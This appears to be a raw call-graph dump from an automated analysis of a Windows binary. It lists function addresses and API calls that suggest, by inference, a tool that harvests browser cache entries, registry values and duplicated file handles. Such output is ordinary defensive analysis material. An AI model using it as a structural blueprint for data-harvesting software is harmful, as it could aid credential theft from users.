API calls 38736->38737 38738 403f3a 38737->38738 38739 40414f 33 API calls 38738->38739 38740 403f4f 38739->38740 38741 403faf 38740->38741 38743 403f5b memset 38740->38743 38745 4099c6 2 API calls 38740->38745 38746 40a8ab 9 API calls 38740->38746 39658 40b1ab ??3@YAXPAX ??3@YAXPAX 38741->39658 38743->38740 38744 403fb7 38744->38363 38745->38740 38746->38740 38748 414c2e 16 API calls 38747->38748 38749 403d26 38748->38749 38750 414c2e 16 API calls 38749->38750 38751 403d34 38750->38751 38752 409d1f 6 API calls 38751->38752 38753 403d51 38752->38753 38754 409d1f 6 API calls 38753->38754 38755 403d6c 38754->38755 38756 409d1f 6 API calls 38755->38756 38757 403d84 38756->38757 38758 403af5 20 API calls 38757->38758 38759 403d98 38758->38759 38760 403af5 20 API calls 38759->38760 38761 403da9 38760->38761 38762 40414f 33 API calls 38761->38762 38768 403dbe 38762->38768 38763 403e1e 39659 40b1ab ??3@YAXPAX ??3@YAXPAX 38763->39659 38765 403dca memset 38765->38768 38766 403e26 38766->38390 38767 4099c6 2 API calls 38767->38768 38768->38763 38768->38765 38768->38767 38769 40a8ab 9 API calls 38768->38769 38769->38768 38771 414b81 9 API calls 38770->38771 38772 414c40 38771->38772 38773 414c73 memset 38772->38773 39660 409cea 38772->39660 38775 414c94 38773->38775 39663 414592 RegOpenKeyExW 38775->39663 38778 414c64 38778->38381 38779 414cc1 38780 414cf4 wcscpy 38779->38780 39664 414bb0 wcscpy 38779->39664 38780->38778 38782 414cd2 39665 4145ac RegQueryValueExW 38782->39665 38784 414ce9 RegCloseKey 38784->38780 38786 409d43 wcscpy 38785->38786 38788 409d62 38785->38788 38787 409719 2 API calls 38786->38787 38789 409d51 wcscat 38787->38789 38788->38423 38789->38788 38791 40aebe FindClose 38790->38791 38792 40ae21 38791->38792 38793 4099c6 2 API calls 38792->38793 38794 40ae35 38793->38794 38795 409d1f 6 API calls 38794->38795 38796 40ae49 38795->38796 38796->38496 38798 40ade0 38797->38798 38799 40ae0f 38797->38799 38798->38799 38800 40ade7 wcscmp 38798->38800 38799->38496 38800->38799 38801 40adfe wcscmp 38800->38801 38801->38799 38803 40ae18 9 API calls 38802->38803 38809 4453c4 38803->38809 38804 40ae51 9 API calls 38804->38809 38805 4453f3 38807 40aebe FindClose 38805->38807 38806 40add4 2 API calls 38806->38809 38808 4453fe 38807->38808 38808->38496 38809->38804 38809->38805 38809->38806 38810 445403 253 API calls 38809->38810 38810->38809 38812 40ae7b FindNextFileW 38811->38812 38813 40ae5c FindFirstFileW 38811->38813 38814 40ae94 38812->38814 38815 40ae8f 38812->38815 38813->38814 38817 40aeb6 38814->38817 38818 409d1f 6 API calls 38814->38818 38816 40aebe FindClose 38815->38816 38816->38814 38817->38496 38818->38817 38819->38402 38820->38454 38821->38434 38822->38434 38823->38468 38825 409c89 38824->38825 38825->38491 38826->38522 38828 413d39 38827->38828 38829 413d2f FreeLibrary 38827->38829 38830 40b633 ??3@YAXPAX 38828->38830 38829->38828 38831 413d42 38830->38831 38832 40b633 ??3@YAXPAX 38831->38832 38833 413d4a 38832->38833 38833->38351 38834->38355 38835->38394 38836->38415 38838 44db70 38837->38838 38839 40b6fc memset 38838->38839 38840 409c70 2 API calls 38839->38840 38841 40b732 wcsrchr 38840->38841 38842 40b743 38841->38842 38843 40b746 memset 38841->38843 38842->38843 38844 40b2cc 27 API calls 38843->38844 38845 40b76f 38844->38845 38846 409d1f 6 API calls 38845->38846 38847 40b783 38846->38847 39666 409b98 GetFileAttributesW 38847->39666 38849 40b792 38850 40b7c2 38849->38850 38852 409c70 2 API calls 38849->38852 39667 40bb98 38850->39667 38854 40b7a5 38852->38854 38857 40b2cc 27 API calls 38854->38857 38855 40b837 FindCloseChangeNotification 38859 40b83e memset 38855->38859 38856 40b817 39701 409a45 GetTempPathW 38856->39701 38860 40b7b2 38857->38860 39700 40a6e6 WideCharToMultiByte 38859->39700 38863 409d1f 6 API calls 38860->38863 38861 40b827 CopyFileW 38861->38859 38863->38850 38864 40b866 38865 444432 121 API calls 38864->38865 38866 40b879 38865->38866 38867 40bad5 38866->38867 38868 40b273 27 API calls 38866->38868 38869 40baeb 38867->38869 38870 40bade DeleteFileW 38867->38870 38872 40b89a 38868->38872 38871 40b04b ??3@YAXPAX 38869->38871 38870->38869 38873 40baf3 38871->38873 38874 438552 134 API calls 38872->38874 38873->38426 38875 40b8a4 38874->38875 38876 40bacd 38875->38876 38877 4251c4 137 API calls 38875->38877 38878 443d90 111 API calls 38876->38878 38886 40b8b8 38877->38886 38878->38867 38879 40bac6 39713 424f26 123 API calls 38879->39713 38880 40b8bd memset 39704 425413 17 API calls 38880->39704 38883 425413 17 API calls 38883->38886 38886->38879 38886->38880 38886->38883 38887 40a71b MultiByteToWideChar 38886->38887 38888 40a734 MultiByteToWideChar 38886->38888 38891 40b9b5 memcmp 38886->38891 38892 4099c6 2 API calls 38886->38892 38893 404423 37 API calls 38886->38893 38896 40bb3e memset memcpy 38886->38896 38897 4251c4 137 API calls 38886->38897 38902 40ba5f memcmp 38886->38902 39705 4253ef 16 API calls 38886->39705 39706 40b64c SystemTimeToFileTime FileTimeToLocalFileTime 38886->39706 39707 4253af 17 API calls 38886->39707 39708 4253cf 17 API calls 38886->39708 39709 447280 memset 38886->39709 39710 447960 memset memcpy memcpy memcpy 38886->39710 39711 40afe8 ??2@YAPAXI memcpy ??3@YAXPAX 38886->39711 39712 447920 memcpy memcpy memcpy 38886->39712 38887->38886 38888->38886 38891->38886 38892->38886 38893->38886 39714 40a734 MultiByteToWideChar 38896->39714 38897->38886 38899 40bb88 LocalFree 38899->38886 38902->38886 38903->38429 38905 40aed1 38904->38905 38906 40aec7 FindClose 38904->38906 38905->38482 38906->38905 38908 4099d7 38907->38908 38909 4099da memcpy 38907->38909 38908->38909 38909->38411 38911 40b2cc 27 API calls 38910->38911 38912 44543f 38911->38912 38913 409d1f 6 API calls 38912->38913 38914 44544f 38913->38914 39806 409b98 GetFileAttributesW 38914->39806 38916 44545e 38917 445476 38916->38917 38918 40b6ef 252 API calls 38916->38918 38919 40b2cc 27 API calls 38917->38919 38918->38917 38920 445482 38919->38920 38921 409d1f 6 API calls 38920->38921 38922 445492 38921->38922 39807 409b98 GetFileAttributesW 38922->39807 38924 4454a1 38925 4454b9 38924->38925 38926 40b6ef 252 API calls 38924->38926 38925->38432 38926->38925 38927->38441 38928->38459 38929->38465 38930->38500 38931->38479 38932->38530 38933->38530 38934->38511 38935->38541 38936->38543 38937->38545 38939 414c2e 16 API calls 38938->38939 38940 40c2ae 38939->38940 39010 40c1d3 38940->39010 38945 40c3be 38962 40a8ab 38945->38962 38946 40afcf 2 API calls 38947 40c2fd FindFirstUrlCacheEntryW 38946->38947 38948 40c3b6 38947->38948 38949 40c31e wcschr 38947->38949 38950 40b04b ??3@YAXPAX 38948->38950 38951 40c331 38949->38951 38952 40c35e FindNextUrlCacheEntryW 38949->38952 38950->38945 38953 40a8ab 9 API calls 38951->38953 38952->38949 38954 40c373 GetLastError 38952->38954 38957 40c33e wcschr 38953->38957 38955 40c3ad FindCloseUrlCache 38954->38955 38956 40c37e 38954->38956 38955->38948 38958 40afcf 2 API calls 38956->38958 38957->38952 38959 40c34f 38957->38959 38960 40c391 FindNextUrlCacheEntryW 38958->38960 38961 40a8ab 9 API calls 38959->38961 38960->38949 38960->38955 38961->38952 39104 40a97a 38962->39104 38965 40a8cc 38965->38552 38966 40a8d0 7 API calls 38966->38965 39109 40b1ab ??3@YAXPAX ??3@YAXPAX 38967->39109 38969 40c3dd 38970 40b2cc 27 API calls 38969->38970 38971 40c3e7 38970->38971 39110 414592 RegOpenKeyExW 38971->39110 38973 40c3f4 38974 40c50e 38973->38974 38975 40c3ff 38973->38975 38989 405337 38974->38989 38976 40a9ce 4 API calls 38975->38976 38977 40c418 memset 38976->38977 39111 40aa1d 38977->39111 38980 40c471 38982 40c47a _wcsupr 38980->38982 38981 40c505 RegCloseKey 38981->38974 38983 40a8d0 7 API calls 38982->38983 38984 40c498 38983->38984 38985 40a8d0 7 API calls 38984->38985 38986 40c4ac memset 38985->38986 38987 40aa1d 38986->38987 38988 40c4e4 RegEnumValueW 38987->38988 38988->38981 38988->38982 39113 405220 38989->39113 38993 4099c6 2 API calls 38992->38993 38994 40a714 _wcslwr 38993->38994 38995 40c634 38994->38995 39170 405361 38995->39170 38998 40c65c wcslen 39173 4053b6 39 API calls 38998->39173 38999 40c71d wcslen 38999->38559 39001 40c677 39002 40c713 39001->39002 39174 40538b 39 API calls 39001->39174 39176 4053df 39 API calls 39002->39176 39005 40c6a5 39005->39002 39006 40c6a9 memset 39005->39006 39007 40c6d3 39006->39007 39175 40c589 43 API calls 39007->39175 39009->38560 39011 40ae18 9 API calls 39010->39011 39017 40c210 39011->39017 39012 40ae51 9 API calls 39012->39017 39013 40c264 39014 40aebe FindClose 39013->39014 39016 40c26f 39014->39016 39015 40add4 2 API calls 39015->39017 39022 40e5ed memset memset 39016->39022 39017->39012 39017->39013 39017->39015 39018 40c231 _wcsicmp 39017->39018 39019 40c1d3 35 API calls 39017->39019 39018->39017 39020 40c248 39018->39020 39019->39017 39035 40c084 22 API calls 39020->39035 39023 414c2e 16 API calls 39022->39023 39024 40e63f 39023->39024 39025 409d1f 6 API calls 39024->39025 39026 40e658 39025->39026 39036 409b98 GetFileAttributesW 39026->39036 39028 40e680 39037 409b98 GetFileAttributesW 39028->39037 39029 40e667 39029->39028 39030 409d1f 6 API calls 39029->39030 39030->39028 39032 40e68f 39033 40c2d8 39032->39033 39038 40e4b2 39032->39038 39033->38945 39033->38946 39035->39017 39036->39029 39037->39032 39059 40e01e 39038->39059 39040 40e593 39041 40e5b0 39040->39041 39042 40e59c DeleteFileW 39040->39042 39043 40b04b ??3@YAXPAX 39041->39043 39042->39041 39045 40e5bb 39043->39045 39044 40e521 39044->39040 39082 40e175 39044->39082 39047 40e5c4 CloseHandle 39045->39047 39048 40e5cc 39045->39048 39047->39048 39049 40b633 ??3@YAXPAX 39048->39049 39051 40e5db 39049->39051 39050 40e573 39052 40e584 39050->39052 39053 40e57c FindCloseChangeNotification 39050->39053 39055 40b633 ??3@YAXPAX 39051->39055 39103 40b1ab ??3@YAXPAX ??3@YAXPAX 39052->39103 39053->39052 39054 40e540 39054->39050 39102 40e2ab 30 API calls 39054->39102 39057 40e5e3 39055->39057 39057->39033 39060 406214 22 API calls 39059->39060 39061 40e03c 39060->39061 39062 40e16b 39061->39062 39063 40dd85 74 API calls 39061->39063 39062->39044 39064 40e06b 39063->39064 39064->39062 39065 40afcf ??2@YAPAXI ??3@YAXPAX 39064->39065 39066 40e08d OpenProcess 39065->39066 39067 40e0a4 GetCurrentProcess DuplicateHandle 39066->39067 39071 40e152 39066->39071 39068 40e0d0 GetFileSize 39067->39068 39069 40e14a CloseHandle 39067->39069 39072 409a45 GetTempPathW GetWindowsDirectoryW GetTempFileNameW 39068->39072 39069->39071 39070 40e160 39074 40b04b ??3@YAXPAX 39070->39074 39071->39070 39073 406214 22 API calls 39071->39073 39075 40e0ea 39072->39075 39073->39070 39074->39062 39076 4096dc CreateFileW 39075->39076 39077 40e0f1 CreateFileMappingW 39076->39077 39078 40e140 CloseHandle CloseHandle 39077->39078 39079 40e10b MapViewOfFile 39077->39079 39078->39069 39080 40e13b FindCloseChangeNotification 39079->39080 39081 40e11f WriteFile UnmapViewOfFile 39079->39081 39080->39078 39081->39080 39083 40e18c 39082->39083 39084 406b90 11 API calls 39083->39084 39085 40e19f 39084->39085 39086 40e1a7 memset 39085->39086 39087 40e299 39085->39087 39092 40e1e8 39086->39092 39088 4069a3 ??3@YAXPAX ??3@YAXPAX 39087->39088 39089 40e2a4 39088->39089 39089->39054 39090 406e8f 13 API calls 39090->39092 39091 406b53 SetFilePointerEx ReadFile 39091->39092 39092->39090 39092->39091 39093 40e283 39092->39093 39094 40dd50 _wcsicmp 39092->39094 39098 40742e 8 API calls 39092->39098 39099 40aae3 wcslen wcslen _memicmp 39092->39099 39100 40e244 _snwprintf 39092->39100 39095 40e291 39093->39095 39096 40e288 ??3@YAXPAX 39093->39096 39094->39092 39097 40aa04 ??3@YAXPAX 39095->39097 39096->39095 39097->39087 39098->39092 39099->39092 39101 40a8d0 7 API calls 39100->39101 39101->39092 39102->39054 39103->39040 39106 40a980 39104->39106 39105 40a8bb 39105->38965 39105->38966 39106->39105 39107 40a995 _wcsicmp 39106->39107 39108 40a99c wcscmp 39106->39108 39107->39106 39108->39106 39109->38969 39110->38973 39112 40aa23 RegEnumValueW 39111->39112 39112->38980 39112->38981 39114 405335 39113->39114 39115 40522a 39113->39115 39114->38559 39116 40b2cc 27 API calls 39115->39116 39117 405234 39116->39117 39118 40a804 8 API calls 39117->39118 39119 40523a 39118->39119 39158 40b273 39119->39158 39121 405248 _mbscpy _mbscat GetProcAddress 39122 40b273 27 API calls 39121->39122 39123 405279 39122->39123 39161 405211 GetProcAddress 39123->39161 39125 405282 39126 40b273 27 API calls 39125->39126 39127 40528f 39126->39127 39162 405211 GetProcAddress 39127->39162 39129 405298 39130 40b273 27 API calls 39129->39130 39131 4052a5 39130->39131 39163 405211 GetProcAddress 39131->39163 39133 4052ae 39134 40b273 27 API calls 39133->39134 39135 4052bb 39134->39135 39164 405211 GetProcAddress 39135->39164 39137 4052c4 39138 40b273 27 API calls 39137->39138 39139 4052d1 39138->39139 39165 405211 GetProcAddress 39139->39165 39141 4052da 39142 40b273 27 API calls 39141->39142 39143 4052e7 39142->39143 39166 405211 GetProcAddress 39143->39166 39145 4052f0 39146 40b273 27 API calls 39145->39146 39147 4052fd 39146->39147 39167 405211 GetProcAddress 39147->39167 39149 405306 39150 40b273 27 API calls 39149->39150 39151 405313 39150->39151 39168 405211 GetProcAddress 39151->39168 39153 40531c 39154 40b273 27 API calls 39153->39154 39155 405329 39154->39155 39169 405211 GetProcAddress 39155->39169 39157 405332 39157->39114 39159 40b58d 27 API calls 39158->39159 39160 40b18c 39159->39160 39160->39121 39161->39125 39162->39129 39163->39133 39164->39137 39165->39141 39166->39145 39167->39149 39168->39153 39169->39157 39171 405220 39 API calls 39170->39171 39172 405369 39171->39172 39172->38998 39172->38999 39173->39001 39174->39005 39175->39002 39176->38999 39178 40440c FreeLibrary 39177->39178 39179 40436d 39178->39179 39180 40a804 8 API calls 39179->39180 39181 404377 39180->39181 39182 404383 39181->39182 39183 404405 39181->39183 39184 40b273 27 API calls 39182->39184 39183->38571 39183->38572 39183->38573 39185 40438d GetProcAddress 39184->39185 39186 40b273 27 API calls 39185->39186 39187 4043a7 GetProcAddress 39186->39187 39188 40b273 27 API calls 39187->39188 39189 4043ba GetProcAddress 39188->39189 39190 40b273 27 API calls 39189->39190 39191 4043ce GetProcAddress 39190->39191 39192 40b273 27 API calls 39191->39192 39193 4043e2 GetProcAddress 39192->39193 39194 4043f1 39193->39194 39195 4043f7 39194->39195 39196 40440c FreeLibrary 39194->39196 39195->39183 39196->39183 39198 404413 FreeLibrary 39197->39198 39199 40441e 39197->39199 39198->39199 39199->38589 39200->38586 39202 40447e 39201->39202 39203 40442e 39201->39203 39202->38586 39204 40b2cc 27 API calls 39203->39204 39205 404438 39204->39205 39206 40a804 8 API calls 39205->39206 39207 40443e 39206->39207 39208 404445 39207->39208 39210 404467 39207->39210 39209 40b273 27 API calls 39208->39209 39211 40444f GetProcAddress 39209->39211 39210->39202 39212 404475 FreeLibrary 39210->39212 39211->39210 39213 404460 39211->39213 39212->39202 39213->39210 39215 4135f6 39214->39215 39216 4135eb FreeLibrary 39214->39216 39215->38592 39216->39215 39218 4449c4 39217->39218 39219 444a52 39217->39219 39220 40b2cc 27 API calls 39218->39220 39219->38609 39219->38610 39221 4449cb 39220->39221 39222 40a804 8 API calls 39221->39222 39223 4449d1 39222->39223 39224 40b273 27 API calls 39223->39224 39225 4449dc GetProcAddress 39224->39225 39226 40b273 27 API calls 39225->39226 39227 4449f3 GetProcAddress 39226->39227 39228 40b273 27 API calls 39227->39228 39229 444a04 GetProcAddress 39228->39229 39230 40b273 27 API calls 39229->39230 39231 444a15 GetProcAddress 39230->39231 39232 40b273 27 API calls 39231->39232 39233 444a26 GetProcAddress 39232->39233 39234 40b273 27 API calls 39233->39234 39235 444a37 GetProcAddress 39234->39235 39236 40b273 27 API calls 39235->39236 39237 444a48 GetProcAddress 39236->39237 39237->39219 39238->38619 39239->38619 39240->38619 39241->38619 39242->38611 39244 403a29 39243->39244 39258 403bed memset memset 39244->39258 39246 403ae7 39271 40b1ab ??3@YAXPAX ??3@YAXPAX 39246->39271 39248 403a3f memset 39252 403a2f 39248->39252 39249 403aef 39249->38628 39250 409d1f 6 API calls 39250->39252 39251 409b98 GetFileAttributesW 39251->39252 39252->39246 39252->39248 39252->39250 39252->39251 39253 40a8d0 7 API calls 39252->39253 39253->39252 39255 40a051 GetFileTime FindCloseChangeNotification 39254->39255 39256 4039ca CompareFileTime 39254->39256 39255->39256 39256->38628 39257->38627 39259 414c2e 16 API calls 39258->39259 39260 403c38 39259->39260 39261 409719 2 API calls 39260->39261 39262 403c3f wcscat 39261->39262 39263 414c2e 16 API calls 39262->39263 39264 403c61 39263->39264 39265 409719 2 API calls 39264->39265 39266 403c68 wcscat 39265->39266 39272 403af5 39266->39272 39269 403af5 20 API calls 39270 403c95 39269->39270 39270->39252 39271->39249 39273 403b02 39272->39273 39274 40ae18 9 API calls 39273->39274 39283 403b37 39274->39283 39275 403bdb 39276 40aebe FindClose 39275->39276 39277 403be6 39276->39277 39277->39269 39278 40ae18 9 API calls 39278->39283 39279 40a8d0 7 API calls 39279->39283 39280 40ae51 9 API calls 39280->39283 39281 40add4 wcscmp wcscmp 39281->39283 39282 40aebe FindClose 39282->39283 39283->39275 39283->39278 39283->39279 39283->39280 39283->39281 39283->39282 39285 409d1f 6 API calls 39284->39285 39286 404190 39285->39286 39299 409b98 GetFileAttributesW 39286->39299 39288 40419c 39289 4041a7 6 API calls 39288->39289 39290 40435c 39288->39290 39291 40424f 39289->39291 39290->38649 39291->39290 39293 40425e memset 39291->39293 39295 409d1f 6 API calls 39291->39295 39296 40a8ab 9 API calls 39291->39296 39300 414842 39291->39300 39293->39291 39294 404296 wcscpy 39293->39294 39294->39291 39295->39291 39297 4042b6 memset memset _snwprintf wcscpy 39296->39297 39297->39291 39298->38653 39299->39288 39303 41443e 39300->39303 39302 414866 39302->39291 39304 41444b 39303->39304 39305 414451 39304->39305 39306 4144a3 GetPrivateProfileStringW 39304->39306 39307 414491 39305->39307 39308 414455 wcschr 39305->39308 39306->39302 39310 414495 WritePrivateProfileStringW 39307->39310 39308->39307 39309 414463 _snwprintf 39308->39309 39309->39310 39310->39302 39311->38658 39313 40b2cc 27 API calls 39312->39313 39314 409615 39313->39314 39315 409d1f 6 API calls 39314->39315 39316 409625 39315->39316 39341 409b98 GetFileAttributesW 39316->39341 39318 409634 39319 409648 39318->39319 39342 4091b8 memset 39318->39342 39320 40b2cc 27 API calls 39319->39320 39323 408801 39319->39323 39322 40965d 39320->39322 39324 409d1f 6 API calls 39322->39324 39323->38661 39323->38688 39325 40966d 39324->39325 39394 409b98 GetFileAttributesW 39325->39394 39327 40967c 39327->39323 39328 409681 39327->39328 39395 409529 72 API calls 39328->39395 39330 409690 39330->39323 39331->38683 39341->39318 39396 40a6e6 WideCharToMultiByte 39342->39396 39344 409202 39397 444432 39344->39397 39347 40b273 27 API calls 39348 409236 39347->39348 39443 438552 39348->39443 39351 409383 39353 40b273 27 API calls 39351->39353 39355 409399 39353->39355 39357 438552 134 API calls 39355->39357 39375 4093a3 39357->39375 39361 4094ff 39446 443d90 39361->39446 39364 4251c4 137 API calls 39364->39375 39366 409507 39374 40951d 39366->39374 39368 4093df 39491 424f26 123 API calls 39368->39491 39372 4253cf 17 API calls 39372->39375 39374->39319 39375->39361 39375->39364 39375->39368 39375->39372 39377 4093e4 39375->39377 39489 4253af 17 API calls 39377->39489 39384 4093ed 39394->39327 39395->39330 39396->39344 39493 4438b5 39397->39493 39399 44444c 39400 409215 39399->39400 39507 415a6d 39399->39507 39400->39347 39400->39374 39402 4442e6 11 API calls 39404 44469e 39402->39404 39403 444486 39405 4444b9 memcpy 39403->39405 39406 4444a4 39403->39406 39404->39400 39408 443d90 111 API calls 39404->39408 39511 415258 39405->39511 39406->39402 39408->39400 39409 444524 39410 444541 39409->39410 39411 44452a 39409->39411 39514 444316 39410->39514 39412 416935 16 API calls 39411->39412 39412->39406 39415 444316 18 API calls 39416 444563 39415->39416 39417 444316 18 API calls 39416->39417 39418 44456f 39417->39418 39581 438460 39443->39581 39445 409240 39445->39351 39466 4251c4 39445->39466 39447 443da3 39446->39447 39457 443db6 39446->39457 39457->39366 39599 424f07 39466->39599 39468 4251e4 39469 4251f7 39468->39469 39470 4251e8 39468->39470 39607 4250f8 39469->39607 39606 4446ea 11 API calls 39470->39606 39472 4251f2 39489->39384 39491->39361 39494 4438d0 39493->39494 39504 4438c9 39493->39504 39495 415378 memcpy memcpy 39494->39495 39496 4438d5 39495->39496 39497 4154e2 10 API calls 39496->39497 39498 443906 39496->39498 39496->39504 39497->39498 39499 443970 memset 39498->39499 39498->39504 39501 44398b 39499->39501 39500 4439a0 39502 415700 10 API calls 39500->39502 39500->39504 39501->39500 39503 41975c 10 API calls 39501->39503 39505 4439c0 39502->39505 39503->39500 39504->39399 39505->39504 39506 418981 10 API calls 39505->39506 39506->39504 39508 415a77 39507->39508 39509 415a8d 39508->39509 39510 415a7e memset 39508->39510 39509->39403 39510->39509 39512 4438b5 11 API calls 39511->39512 39513 41525d 39512->39513 39513->39409 39515 444328 39514->39515 39516 444423 39515->39516 39517 44434e 39515->39517 39518 4446ea 11 API calls 39516->39518 39519 432d4e memset memset memcpy 39517->39519 39525 444381 39518->39525 39520 44435a 39519->39520 39522 444375 39520->39522 39527 44438b 39520->39527 39521 432d4e memset memset memcpy 39523 4443ec 39521->39523 39524 416935 16 API calls 39522->39524 39523->39525 39526 416935 16 API calls 39523->39526 39524->39525 39525->39415 39526->39525 39527->39521 39582 41703f 11 API calls 39581->39582 39583 43847a 39582->39583 39584 43848a 39583->39584 39585 43847e 39583->39585 39587 438270 134 API calls 39584->39587 39586 4446ea 11 API calls 39585->39586 39589 438488 39586->39589 39588 4384aa 39587->39588 39588->39589 39590 424f26 123 API calls 39588->39590 39589->39445 39591 4384bb 39590->39591 39592 438270 134 API calls 39591->39592 39592->39589 39600 424f1f 39599->39600 39601 424f0c 39599->39601 39603 424eea 11 API calls 39600->39603 39602 416760 11 API calls 39601->39602 39604 424f18 39602->39604 39605 424f24 39603->39605 39604->39468 39605->39468 39606->39472 39650 413f4f 39623->39650 39626 413f37 K32GetModuleFileNameExW 39627 413f4a 39626->39627 39627->38721 39629 413969 wcscpy 39628->39629 39630 41396c wcschr 39628->39630 39633 413a3a 39629->39633 39630->39629 39632 41398e 39630->39632 39655 4097f7 wcslen wcslen _memicmp 39632->39655 39633->38721 39635 41399a 39636 4139a4 memset 39635->39636 39637 4139e6 39635->39637 39656 409dd5 GetWindowsDirectoryW wcscpy 39636->39656 39639 413a31 wcscpy 39637->39639 39640 4139ec memset 39637->39640 39639->39633 39657 409dd5 GetWindowsDirectoryW wcscpy 39640->39657 39641 4139c9 wcscpy wcscat 39641->39633 39643 413a11 memcpy wcscat 39643->39633 39645 413cb0 GetModuleHandleW 39644->39645 39646 413cda 39644->39646 39645->39646 39649 413cbf GetProcAddress 39645->39649 39647 413ce3 GetProcessTimes 39646->39647 39648 413cf6 39646->39648 39647->38723 39648->38723 39649->39646 39651 413f2f 39650->39651 39652 413f54 39650->39652 39651->39626 39651->39627 39653 40a804 8 API calls 39652->39653 39654 413f5f GetProcAddress GetProcAddress GetProcAddress GetProcAddress GetProcAddress 39653->39654 39654->39651 39655->39635 39656->39641 39657->39643 39658->38744 39659->38766 39661 409cf9 GetVersionExW 39660->39661 39662 409d0a 39660->39662 39661->39662 39662->38773 39662->38778 39663->38779 39664->38782 39665->38784 39666->38849 39668 40bba5 39667->39668 39715 40cc26 39668->39715 39671 40bd4b 39736 40cc0c 39671->39736 39676 40b2cc 27 API calls 39677 40bbef 39676->39677 39743 40ccf0 _wcsicmp 39677->39743 39679 40bbf5 39679->39671 39744 40ccb4 6 API calls 39679->39744 39681 40bc26 39682 40cf04 17 API calls 39681->39682 39683 40bc2e 39682->39683 39684 40bd43 39683->39684 39686 40b2cc 27 API calls 39683->39686 39685 40cc0c 4 API calls 39684->39685 39685->39671 39687 40bc40 39686->39687 39745 40ccf0 _wcsicmp 39687->39745 39689 40bc46 39689->39684 39690 40bc61 memset memset WideCharToMultiByte 39689->39690 39746 40103c strlen 39690->39746 39692 40bcc0 39693 40b273 27 API calls 39692->39693 39694 40bcd0 memcmp 39693->39694 39694->39684 39695 40bce2 39694->39695 39696 404423 37 API calls 39695->39696 39697 40bd10 39696->39697 39697->39684 39698 40bd3a LocalFree 39697->39698 39699 40bd1f memcpy 39697->39699 39698->39684 39699->39698 39700->38864 39702 409a74 GetTempFileNameW 39701->39702 39703 409a66 GetWindowsDirectoryW 39701->39703 39702->38861 39703->39702 39704->38886 39705->38886 39706->38886 39707->38886 39708->38886 39709->38886 39710->38886 39711->38886 39712->38886 39713->38876 39714->38899 39747 4096c3 CreateFileW 39715->39747 39717 40cc34 39718 40cc3d GetFileSize 39717->39718 39719 40bbca 39717->39719 39720 40afcf 2 API calls 39718->39720 39719->39671 39727 40cf04 39719->39727 39721 40cc64 39720->39721 39748 40a2ef ReadFile 39721->39748 39723 40cc71 39749 40ab4a MultiByteToWideChar 39723->39749 39725 40cc95 FindCloseChangeNotification 39726 40b04b ??3@YAXPAX 39725->39726 39726->39719 39728 40b633 ??3@YAXPAX 39727->39728 39729 40cf14 39728->39729 39755 40b1ab ??3@YAXPAX ??3@YAXPAX 39729->39755 39731 40bbdd 39731->39671 39731->39676 39732 40cf1b 39732->39731 39733 40cfef 39732->39733 39756 40cd4b 39732->39756 39735 40cd4b 14 API calls 39733->39735 39735->39731 39737 40b633 ??3@YAXPAX 39736->39737 39738 40cc15 39737->39738 39739 40aa04 ??3@YAXPAX 39738->39739 39740 40cc1d 39739->39740 39805 40b1ab ??3@YAXPAX ??3@YAXPAX 39740->39805 39742 40b7d4 memset CreateFileW 39742->38855 39742->38856 39743->39679 39744->39681 39745->39689 39746->39692 39747->39717 39748->39723 39750 40ab6b 39749->39750 39754 40ab93 39749->39754 39751 40a9ce 4 API calls 39750->39751 39752 40ab74 39751->39752 39753 40ab7c MultiByteToWideChar 39752->39753 39753->39754 39754->39725 39755->39732 39757 40cd7b 39756->39757 39790 40aa29 39757->39790 39759 40cef5 39760 40aa04 ??3@YAXPAX 39759->39760 39761 40cefd 39760->39761 39761->39732 39763 40aa29 6 API calls 39764 40ce1d 39763->39764 39765 40aa29 6 API calls 39764->39765 39768 40ce3e 39765->39768 39766 40ce6a 39767 40ce9f 39766->39767 39801 40abb7 wcslen memmove 39766->39801 39771 40a8d0 7 API calls 39767->39771 39768->39766 39798 40abb7 wcslen memmove 39768->39798 39774 40ceb5 39771->39774 39772 40ce56 39799 40aa71 wcslen 39772->39799 39773 40ce8b 39802 40aa71 wcslen 39773->39802 39778 40a8d0 7 API calls 39774->39778 39777 40ce5e 39800 40abb7 wcslen memmove 39777->39800 39781 40cecb 39778->39781 39779 40ce93 39803 40abb7 wcslen memmove 39779->39803 39804 40d00b malloc memcpy ??3@YAXPAX ??3@YAXPAX 39781->39804 39784 40cedd 39785 40aa04 ??3@YAXPAX 39784->39785 39786 40cee5 39785->39786 39787 40aa04 ??3@YAXPAX 39786->39787 39788 40ceed 39787->39788 39789 40aa04 ??3@YAXPAX 39788->39789 39789->39759 39791 40aa33 39790->39791 39797 40aa63 39790->39797 39792 40aa44 39791->39792 39793 40aa38 wcslen 39791->39793 39794 40a9ce malloc memcpy ??3@YAXPAX ??3@YAXPAX 39792->39794 39793->39792 39795 40aa4d 39794->39795 39796 40aa51 memcpy 39795->39796 39795->39797 39796->39797 39797->39759 39797->39763 39798->39772 39799->39777 39800->39766 39801->39773 39802->39779 39803->39767 39804->39784 39805->39742 39806->38916 39807->38924 39817 44def7 39818 44df07 39817->39818 39819 44df00 ??3@YAXPAX 39817->39819 39820 44df17 39818->39820 39821 44df10 ??3@YAXPAX 39818->39821 39819->39818 39822 44df27 39820->39822 39823 44df20 ??3@YAXPAX 39820->39823 39821->39820 39824 44df37 39822->39824 39825 44df30 ??3@YAXPAX 39822->39825 39823->39822 39825->39824 37642 44dea5 37643 44deb5 FreeLibrary 37642->37643 37644 44dec3 37642->37644 37643->37644 39826 40b0b5 ??3@YAXPAX ??3@YAXPAX 39827 4148b6 FindResourceW 39828 4148f9 39827->39828 39829 4148cf SizeofResource 39827->39829 39829->39828 39830 4148e0 LoadResource 39829->39830 39830->39828 39831 4148ee LockResource 39830->39831 39831->39828 37826 415304 ??3@YAXPAX 37645 415320 realloc 37646 415340 37645->37646 37647 41534d 37645->37647 37649 416760 11 API calls 37647->37649 37649->37646 39832 441b3f 39842 43a9f6 39832->39842 39834 441b61 40015 4386af memset 39834->40015 39836 44189a 39837 4418e2 39836->39837 39839 442bd4 39836->39839 39838 4418ea 39837->39838 40016 4414a9 12 API calls 39837->40016 39839->39838 40017 441409 memset 39839->40017 39843 43aa20 39842->39843 39844 43aadf 39842->39844 39843->39844 39845 43aa34 memset 39843->39845 39844->39834 39846 43aa56 39845->39846 39847 43aa4d 39845->39847 40018 43a6e7 39846->40018 40026 42c02e memset 39847->40026 39852 43aad3 40028 4169a7 11 API calls 39852->40028 39853 43aaae 39853->39844 39853->39852 39868 43aae5 39853->39868 39855 43ac18 39857 43ac47 39855->39857 40030 42bbd5 